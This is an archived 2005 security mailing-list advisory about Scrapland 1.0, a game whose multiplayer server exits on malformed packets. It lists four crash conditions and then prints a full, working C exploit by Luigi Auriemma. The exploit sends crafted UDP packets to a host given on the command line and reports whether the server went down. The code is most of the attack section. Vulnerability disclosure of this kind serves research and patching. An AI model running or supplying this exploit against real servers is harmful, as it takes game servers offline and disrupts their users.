[NT] Server Termination in Scrapland

From: SecuriTeam (support_at_securiteam.com)
Date: 03/10/05

  • Next message: SecuriTeam: "[EXPL] SocialMPN Arbitrary File Injection Exploit"
    To: list@securiteam.com
    Date: 10 Mar 2005 16:52:35 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Server Termination in Scrapland
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.enlight.com/scrapland/> SCRAPLAND is a third person
    action-adventure game set in a stunningly beautiful and futuristic world
    occupied by an amazing array of robotic characters."

    Multiple vulnerabilities in the Scrapland multiplayer server allows a
    malicious attacker to terminate connection with other users.

    DETAILS

    Vulnerable Systems:
     * Scrapland version 1.0 and prior

    The main problem of the game is that the server terminates after any error
    instead of simply showing the error message in the game console and
    continuing its work. This situation allows an attacker to easily crash a
    Scrapland game server in many ways, some of them are:
    String size>SSize: the game uses 8 bits numbers to specify the size of the
    text strings inside the packets. These 8 bits numbers are handled as
    signed integers so any value bigger than 127 causes the server error.

    Inexistent model: if the client uses a model (like engine, pilot or
    player) not available on the server, this one will terminate saying that
    the model specified by the client has not been found.

    Proding newpos<=size: another type of error.
    Access violation caused by the reception of two partial packets.

    Note: If the server is full, is not possible to terminate it.

    Exploit Code:
    The code requires <http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html>
    winerr.h

    /* by Luigi Auriemma - http://aluigi.altervista.org/poc/scrapboom.zip */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <time.h>

    #ifdef WIN32
        #include <winsock.h>
        #include "winerr.h"

        #define close closesocket
        #define ONESEC 1000
    #else
        #include <unistd.h>
        #include <sys/socket.h>
        #include <sys/types.h>
        #include <arpa/inet.h>
        #include <netinet/in.h>
        #include <netdb.h>

        #define ONESEC 1
    #endif

    #define VER "0.1"
    #define BUFFSZ 2048
    #define PORT 28086
    #define TIMEOUT 3

    #define SEND(x,y) if(sendto(sd, x, y, 0, (struct sockaddr *)&peer,
    sizeof(peer)) \
                          < 0) std_err();
    #define RECV if(timeout(sd) < 0) { \
                            fputs("\nError: socket timeout, no reply
    received\n\n", stdout); \
                            exit(1); \
                        } \
                        len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
                        if(len < 0) std_err();
    #define ADDSHORT(x) *(u_short *)p = x; \
                        p += 2;
    #define ADDLONG(x) *(u_long *)p = x; \
                        p += 4;
    #define ADDTEXT(x) *p++ = sizeof(x) - 1; \
                        memcpy(p, x, sizeof(x) - 1); \
                        p += sizeof(x) - 1;

    int timeout(int sock);
    u_long resolv(char *host);
    void std_err(void);

    int main(int argc, char *argv[]) {
        struct sockaddr_in peer;
        int sd,
                len;
        u_short port = PORT;
        u_char buff[BUFFSZ],
                info[] =
                    "\x7f"
                    "\x01\x00"
                    "\x00\x07",
                pck[] =
                    "\x7f"
                    "\x00\x00"
                    "\x00\x00"
                    "\x00",
                *p;

        setbuf(stdout, NULL);

        fputs("\n"
            "Scrapland <= 1.0 server termination "VER"\n"
            "by Luigi Auriemma\n"
            "e-mail: aluigi@autistici.org\n"
            "web: http://aluigi.altervista.org\n"
            "\n", stdout);

        if(argc < 3) {
            printf("\n"
                "Usage: %s <attack> <host> [port(%d)]\n"
                "\n"
                "Attack:\n"
                " 1 = big text string (size>SSize)\n"
                " 2 = unexistent models (you can test this bug also modifying
    scrap.cfg)\n"
                " 3 = newpos<=size\n"
                " 4 = partial packet after small packet (1 or 2 bytes)\n"
                "\n", argv[0], port);
            exit(1);
        }

    #ifdef WIN32
        WSADATA wsadata;
        WSAStartup(MAKEWORD(1,0), &wsadata);
    #endif

        if(argc > 3) port = atoi(argv[3]);

        peer.sin_addr.s_addr = resolv(argv[2]);
        peer.sin_port = htons(port);
        peer.sin_family = AF_INET;

        printf("- target %s : %hu\n",
            inet_ntoa(peer.sin_addr), port);

        fputs("- request informations\n", stdout);
        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd < 0) std_err();
        SEND(info, sizeof(info) - 1);
        RECV;
        printf("\n Server name %s\n", buff + 10);
        printf(" Players %d / %d\n\n",
            *(u_short *)(buff + 8), *(u_short *)(buff + 6));

        if(*(u_short *)(buff + 8) == *(u_short *)(buff + 6)) {
            fputs("- Alert: the server is full so this attack will fail\n\n",
    stdout);
        }

        fputs("- send BOOM packet\n", stdout);
        switch(atoi(argv[1])) {
            case 1: {
                pck[5] = 0xff; // major than 0x7f
                *(u_short *)(pck + 1) = sizeof(pck) - 4;
                SEND(pck, sizeof(pck) - 1);
                } break;
            case 2: {
                p = buff;
                *p++ = 0x7f;
                p += 2; // data size
                ADDSHORT(0); // don't know, pck related?
                ADDTEXT("Unnamed Player"); // PlayerName
                ADDTEXT("unexistent"); // PlayerModel
                ADDSHORT(65); // PlayerMaxLife
                ADDTEXT("unexistent"); // PilotModel
                ADDTEXT("unexistent"); // Motor0Model
                ADDTEXT("unexistent"); // Motor1Model
                ADDTEXT("unexistent"); // Motor2Model
                ADDTEXT("unexistent"); // Motor3Model
                ADDTEXT("1,3,0,0,1,0,1"); // WeaponBayList
                ADDLONG(0); // PlayerTeamID
                *(u_short *)(buff + 1) = (p - buff) - 3;

                SEND(buff, p - buff);
                } break;
            case 3: {
                *(u_short *)(pck + 1) = 1; // major than 0
                SEND(pck, 5);
                } break;
            case 4: {
                SEND(pck, 1);
                sleep(ONESEC);
                *(u_short *)(pck + 1) = 0;
                SEND(pck, 3);
                } break;
            default: {
                fputs("\nError: wrong attack selected\n\n", stdout);
                exit(1);
                }
        }

        fputs("- check server:\n", stdout);
        SEND(info, sizeof(info) - 1);
        if(timeout(sd) < 0) {
            fputs("\nServer IS vulnerable!!!\n\n", stdout);
        } else {
            fputs("\nServer doesn't seem vulnerable\n\n", stdout);
        }

        close(sd);
        return(0);
    }

    int timeout(int sock) {
        struct timeval tout;
        fd_set fd_read;
        int err;

        tout.tv_sec = TIMEOUT;
        tout.tv_usec = 0;
        FD_ZERO(&fd_read);
        FD_SET(sock, &fd_read);
        err = select(sock + 1, &fd_read, NULL, NULL, &tout);
        if(err < 0) std_err();
        if(!err) return(-1);
        return(0);
    }

    u_long resolv(char *host) {
        struct hostent *hp;
        u_long host_ip;

        host_ip = inet_addr(host);
        if(host_ip == INADDR_NONE) {
            hp = gethostbyname(host);
            if(!hp) {
                printf("\nError: Unable to resolv hostname (%s)\n", host);
                exit(1);
            } else host_ip = *(u_long *)hp->h_addr;
        }
        return(host_ip);
    }

    #ifndef WIN32
        void std_err(void) {
            perror("\nError");
            exit(1);
        }
    #endif
    //EoF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aluigi@autistici.org> Luigi
    Auriemma.
    The original article can be found at:
    <http://aluigi.altervista.org/adv/scrapboom-adv.txt>
    http://aluigi.altervista.org/adv/scrapboom-adv.txt

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] SocialMPN Arbitrary File Injection Exploit"

    Relevant Pages

    • [NEWS] Outgun Multiple Vulnerabilities (Multiple DoS, Multiple Buffer Overflows)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Multiple Buffer Overflows) ... The buffers in which the server stores these two strings have a size of 64 ... int alen, ulen; ...
      (Securiteam)
    • [UNIX] Multiple up-imapproxy DoS Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... connections open after client has logged out, ... allows attacker to cause the server to crash by sending them when they ... extern void HandleRequest(int); ...
      (Securiteam)
    • [NT] Stronghold DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... In the packet used for joining the server is locatd the client's nickname ... unsigned char *gssdkcr( ... void show_info(u_char *data, int len); ...
      (Securiteam)
    • [NT] BFCommand and Control, Battlefield 1942 and BFVietnam Multiple Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... BFCommand & Control Server Manager is ... void proxy(int sock, u_char *buff, int size); ...
      (Securiteam)
    • [EXPL] Ipswitch IMail IMAP Buffer Overflow (LOGON, Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... * Ipswitch IMail Server 8.2 Hotfix 2 ... char* alphaEncodeShellcode(char *shellcode, int size); ...
      (Securiteam)